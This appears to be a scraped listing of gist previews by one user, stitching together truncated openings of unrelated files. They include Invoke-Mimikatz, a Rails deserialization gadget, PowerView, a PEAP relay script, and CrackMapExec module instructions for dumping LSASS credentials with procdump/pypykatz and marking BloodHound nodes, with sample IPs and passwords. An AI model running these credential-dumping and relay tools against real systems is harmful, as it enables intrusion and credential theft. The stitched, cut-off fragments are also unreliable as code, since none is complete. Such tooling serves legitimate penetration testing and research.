mpgn

{
    "nodes": [
        {
            "id": "Alice"
        },
        {
            "id": "Bob"
        },
        {
            "id": "Carol"

mpgn

function Invoke-Mi
<#

#>

[CmdletBinding(DefaultParameterSetName="DumpCreds")]
Param(
	[Parameter(Position = 0)]
	[String[]]
	$ComputerName,

mpgn

// exemple based on https://github.com/diafygi/webcrypto-examples#rsa-oaep

function importKey() {
	return window.crypto.subtle.importKey(
	    "jwk", //can be "jwk" or "raw"
	    {   //this is an example jwk key, "raw" would be an ArrayBuffer
	        kty: "oct",
	        k: "Y0zt37HgOx-BY7SQjYVmrqhPkO44Ii2Jcb9yydUDPfE",
	        alg: "A256GCM",
	        ext: true,

mpgn

require 'yaml'
require 'base64'
require 'erb'

class ActiveSupport
  class Deprecation
    def initialize()
      @silenced = true
    end
    class DeprecatedInstanceVariableProxy

mpgn

https://developer.typeform.com/responses/reference/retrieve-responses/ https://stackoverflow.com/questions/51893952/how-to-select-the-typeform-api-on-a-hidden-field/51895666 https://github.com/typeorm/typeorm/blob/master/docs/find-options.md

mpgn

1. install pypykatz pip install pypykatz outisde your pipenv
2. Add this file to cme/module/procdump.py
3. compile python setup.py install
4. run cme smb 172.16.60.152 -u Administrator -p P@ssword -M procdump

mpgn

Installation

• Copy bloodhound_owned.py in cme/modules and reinstall CrackMapExec python setup.py install
• pip install neo4j

Usage

cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M bloodhound_owned

mpgn

# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
#   tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
#   https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

# New function naming schema:
#   Verbs:
#       Get : retrieve full raw data sets
#       Find : ‘find’ specific data entries in a data set

mpgn

Blackfield vs NetExec

Support:

• https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html
• https://netexec.wiki

---

1. Getting domain info

mpgn

#!/bin/bash
# Wifi easy PEAP relay
#
# Author: 1mm0rt41PC - immortal-pc.info - https://github.com/1mm0rt41PC
#
# Ref:
# 	- https://github.com/sensepost/hostapd-mana
# 	- https://github.com/sensepost/wpa_sycophant
# 	- https://sensepost.com/blog/2019/peap-relay-attacks-with-wpa_sycophant/
# 	- https://www.youtube.com/watch?v=eYsGyvGxlpI&feature=youtu.be&t=1052